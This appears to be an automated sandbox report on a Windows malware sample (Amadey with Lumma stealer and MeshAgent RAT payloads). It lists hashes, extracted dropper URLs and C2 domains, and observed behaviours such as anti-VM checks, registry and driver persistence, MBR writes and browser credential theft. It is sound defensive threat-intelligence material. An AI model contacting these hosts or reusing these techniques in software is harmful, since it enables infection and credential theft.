amadey | 04fc28bbd8214ce2e913009020cfc6e9f6fcd8c329f0a0bbffb4b0d192560283

Analysis

max time kernel
121s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
04/04/2025, 23:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Size

938KB
MD5

63a5635ab6615d0b528c41c7ae8831d8
SHA1

0499d82594c2a871f2110b361e94271b7533ae7e
SHA256

04fc28bbd8214ce2e913009020cfc6e9f6fcd8c329f0a0bbffb4b0d192560283
SHA512

c1da9a94f1888b72ad0e5a5b128f080aeae98b688205aa1ec60c1a1a4bf053bf7e23bfc1f238132a2c854bd839a8bd31553f22c3f537b62185580a543a810702
SSDEEP

24576:KqDEvCTbMWu7rQYlBQcBiT6rprG8a0xu:KTvC/MTQYxsWR7a0x

Score

10^/10

amadey lumma meshagent 092155 test123 backdoor bootkit defense_evasion discovery execution persistence rat spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

https://puerrogfh.live/iqwez

https://jrxsafer.top/shpaoz

https://plantainklj.run/opafg

https://quavabvc.top/iuzhd

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://rambutanvcx.run/adioz

https://ywmedici.top/noagis

https://navstarx.shop/FoaJSi

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://starcloc.bet/GOksAo

https://spacedbv.world/EKdlsk

https://galxnetb.today/GsuIAo

Extracted

Family

meshagent

Version

Botnet

test123

http://aaso12.duckdns.org:443/agent.ashx

Attributes

mesh_id
0x0CF4A8B0663DD2F1D3A44CE8D231621166DBDB1E723B374C911544DE2F45A87C6C52F7206CED32F5B6A52A5551B75A3C
server_id
22F126392DFCD804B6AF755F256A707D53ED8D200650E6BC853C95860F21B6B7049AF4EBEAB393E6EE1A9315B396BFC8
wss
wss://aaso12.duckdns.org:443/agent.ashx

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detects MeshAgent payload 1 IoCs

resource	yara_rule
behavioral1/files/0x0007000000024146-3824.dat	family_meshagent

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
MeshAgent
MeshAgent is an open source remote access trojan written in C++.
rat trojan backdoor meshagent
Meshagent family
meshagent
Contacts a large (4064) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	00f0cff33d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	e6fe4983da.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	17d588e282.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	6084	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
7776	powershell.exe
6560	powershell.exe
7280	powershell.exe
9196	powershell.exe
1620	powershell.exe
5604	powershell.exe
11220	powershell.exe
6084	powershell.exe

Downloads MZ/PE file 16 IoCs

flow	pid	Process
319	4972	rapes.exe
423	4972	rapes.exe
1046	4972	rapes.exe
1046	4972	rapes.exe
1046	4972	rapes.exe
1046	4972	rapes.exe
134	4972	rapes.exe
20	6084	powershell.exe
609	4972	rapes.exe
701	4972	rapes.exe
701	4972	rapes.exe
856	4828	svchost.exe
1992	2708	svchost015.exe
740	2996	futors.exe
34	4972	rapes.exe
1979	4972	rapes.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File created	C:\Windows\System32\Drivers\9c4d2b28.sys	204da276.exe
File created	C:\Windows\System32\Drivers\klupd_9c4d2b28a_arkmon.sys	204da276.exe
File created	C:\Windows\System32\Drivers\klupd_9c4d2b28a_klbg.sys	204da276.exe

Sets service image path in registry 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\9c4d2b28\ImagePath = "System32\\Drivers\\9c4d2b28.sys"	204da276.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_9c4d2b28a_arkmon\ImagePath = "System32\\Drivers\\klupd_9c4d2b28a_arkmon.sys"	204da276.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_9c4d2b28a_klbg\ImagePath = "System32\\Drivers\\klupd_9c4d2b28a_klbg.sys"	204da276.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_9c4d2b28a_klark\ImagePath = "System32\\Drivers\\klupd_9c4d2b28a_klark.sys"	204da276.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_9c4d2b28a_mark\ImagePath = "System32\\Drivers\\klupd_9c4d2b28a_mark.sys"	204da276.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_9c4d2b28a_arkmon_7C924DD4\ImagePath = "\\??\\C:\\KVRT2020_Data\\Temp\\7C924DD4D20055C80007791130E2D03F\\klupd_9c4d2b28a_arkmon.sys"	204da276.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\Program Files\\Mesh Agent\\MeshAgent.exe\" "	s.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\4sNlHH_5328\ImagePath = "\\??\\C:\\Windows\\Temp\\4sNlHH_5328.sys"	tzutil.exe

Checks BIOS information in registry 2 TTPs 14 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	00f0cff33d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	e6fe4983da.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	17d588e282.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	17d588e282.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	00f0cff33d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	e6fe4983da.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Control Panel\International\Geo\Nation	TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Control Panel\International\Geo\Nation	7IIl2eE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Control Panel\International\Geo\Nation	amnew.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Control Panel\International\Geo\Nation	futors.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Control Panel\International\Geo\Nation	larBxd7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Control Panel\International\Geo\Nation	mshta.exe

Deletes itself 1 IoCs

pid	Process
1772	w32tm.exe

Executes dropped EXE 32 IoCs

pid	Process
2996	TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE
4972	rapes.exe
5524	UU0LfLZ.exe
1540	UU0LfLZ.exe
404	trOUuPI.exe
4736	7q8Wm5h.exe
1092	00f0cff33d.exe
5512	rapes.exe
388	7IIl2eE.exe
2776	amnew.exe
2996	futors.exe
5044	Passwords.com
3840	e6fe4983da.exe
4740	17d588e282.exe
5480	UZPt0hR.exe
2708	svchost015.exe
5012	IsValueCreated.exe
1720	MeshAgent.exe
5220	TbV75ZR.exe
5328	tzutil.exe
1772	w32tm.exe
1876	bc46a07c67.exe
8520	svchost015.exe
7156	9sWdA2p.exe
1092	rapes.exe
7824	futors.exe
11408	qhjMWht.exe
4244	4d2a7265.exe
13056	204da276.exe
2192	a5ae66c8d4.exe
6996	Rm3cVPI.exe
11196	larBxd7.exe

Identifies Wine through registry keys 2 TTPs 7 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Software\Wine	TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Software\Wine	00f0cff33d.exe
Key opened	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Software\Wine	e6fe4983da.exe
Key opened	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Software\Wine	17d588e282.exe
Key opened	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\Software\Wine	rapes.exe

Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\9c4d2b28.sys	204da276.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\9c4d2b28.sys\ = "Driver"	204da276.exe

Loads dropped DLL 25 IoCs

pid	Process
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe
13056	204da276.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\17d588e282.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10051520101\\17d588e282.exe"	futors.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bc46a07c67.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10051530101\\bc46a07c67.exe"	futors.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\594fc30d-d56a-40b5-9a83-0f1757c35913 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\{ee7ea89e-12c9-4bd0-9bd8-d49a3c574d26}\\594fc30d-d56a-40b5-9a83-0f1757c35913.cmd\""	204da276.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3218366390-1258052702-4267193707-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	204da276.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2039	ip-api.com

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	e6fe4983da.exe
File opened for modification	\??\PhysicalDrive0	204da276.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000f000000023ef6-31284.dat	autoit_exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\symbols\dll\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\rpcrt4.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\user32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\user32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\DLL\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\gdiplus.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dbgcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\apphelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\ntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\dbgcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\DLL\bcrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\bcryptprimitives.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\shcore.pdb	MeshAgent.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\bcrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\C4DCDD9FF5AD4554D4BFC03DE403395167EBD3C0	MeshAgent.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\370537147C093DC897A2D1470FC71A86A2894D04	MeshAgent.exe
File opened for modification	C:\Windows\System32\kernel32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\kernel32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ntasn1.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\apphelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\exe\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\gdi32full.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\gdi32full.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ncrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\2E988383F85657251772CD682CAE9C62F41DB43D	MeshAgent.exe
File opened for modification	C:\Windows\System32\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\sechost.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ncrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\ntasn1.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\Kernel.Appcore.pdb	MeshAgent.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\C4DCDD9FF5AD4554D4BFC03DE403395167EBD3C0	MeshAgent.exe
File opened for modification	C:\Windows\System32\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\Kernel.Appcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Keys	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\apphelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ole32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\ole32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\bcryptprimitives.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\shcore.pdb	MeshAgent.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
208	tasklist.exe
696	tasklist.exe
8996	tasklist.exe
11192	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs

pid	Process
2996	TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE
4972	rapes.exe
1092	00f0cff33d.exe
5512	rapes.exe
3840	e6fe4983da.exe
4740	17d588e282.exe
1092	rapes.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 404 set thread context of 1180	404	trOUuPI.exe	107
PID 4740 set thread context of 2708	4740	17d588e282.exe	154
PID 5220 set thread context of 1316	5220	TbV75ZR.exe	159
PID 1876 set thread context of 8520	1876	bc46a07c67.exe	168
PID 5012 set thread context of 6016	5012	IsValueCreated.exe	182
PID 2192 set thread context of 2320	2192	a5ae66c8d4.exe	192

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	4d2a7265.exe
File opened (read-only)	\??\VBoxMiniRdrDN	204da276.exe

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Mesh Agent\MeshAgent.db.tmp	MeshAgent.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.db.tmp	MeshAgent.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.msh	MeshAgent.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.exe	s.exe
File opened for modification	C:\Program Files\Mesh Agent\MeshAgent.db	MeshAgent.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.db	MeshAgent.exe

Drops file in Windows directory 20 IoCs

description	ioc	Process
File opened for modification	C:\Windows\JenniferSubdivision	7IIl2eE.exe
File opened for modification	C:\Windows\RowTopics	7IIl2eE.exe
File opened for modification	C:\Windows\DiscussedFacial	7IIl2eE.exe
File opened for modification	C:\Windows\GentleOklahoma	larBxd7.exe
File opened for modification	C:\Windows\EstateLegislative	7IIl2eE.exe
File opened for modification	C:\Windows\PotteryUser	7IIl2eE.exe
File opened for modification	C:\Windows\SpecificsHeaven	7IIl2eE.exe
File opened for modification	C:\Windows\GentleLogging	7IIl2eE.exe
File opened for modification	C:\Windows\GovernmentalOttawa	larBxd7.exe
File opened for modification	C:\Windows\LowerOrgasm	larBxd7.exe
File created	C:\Windows\Tasks\rapes.job	TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE
File opened for modification	C:\Windows\LogisticsNotre	7IIl2eE.exe
File opened for modification	C:\Windows\BrandonStat	7IIl2eE.exe
File opened for modification	C:\Windows\ModularVol	larBxd7.exe
File opened for modification	C:\Windows\WallpapersHo	7IIl2eE.exe
File opened for modification	C:\Windows\CorrectionsGeographic	7IIl2eE.exe
File opened for modification	C:\Windows\EnglandDeleted	7IIl2eE.exe
File created	C:\Windows\Tasks\futors.job	amnew.exe
File opened for modification	C:\Windows\AmongDouble	larBxd7.exe
File opened for modification	C:\Windows\ProvidingMilwaukee	7IIl2eE.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 45 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	00f0cff33d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7IIl2eE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e6fe4983da.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UZPt0hR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qhjMWht.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-04-04_63a5635ab6615d0b528c41c7ae8831d8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	amnew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UU0LfLZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bc46a07c67.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4d2a7265.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UU0LfLZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	17d588e282.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	204da276.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	larBxd7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempRFDTLPMYGYOHFSH9SDQB0PFNAZDWLXPL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	futors.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Passwords.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9sWdA2p.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Rm3cVPI.exe
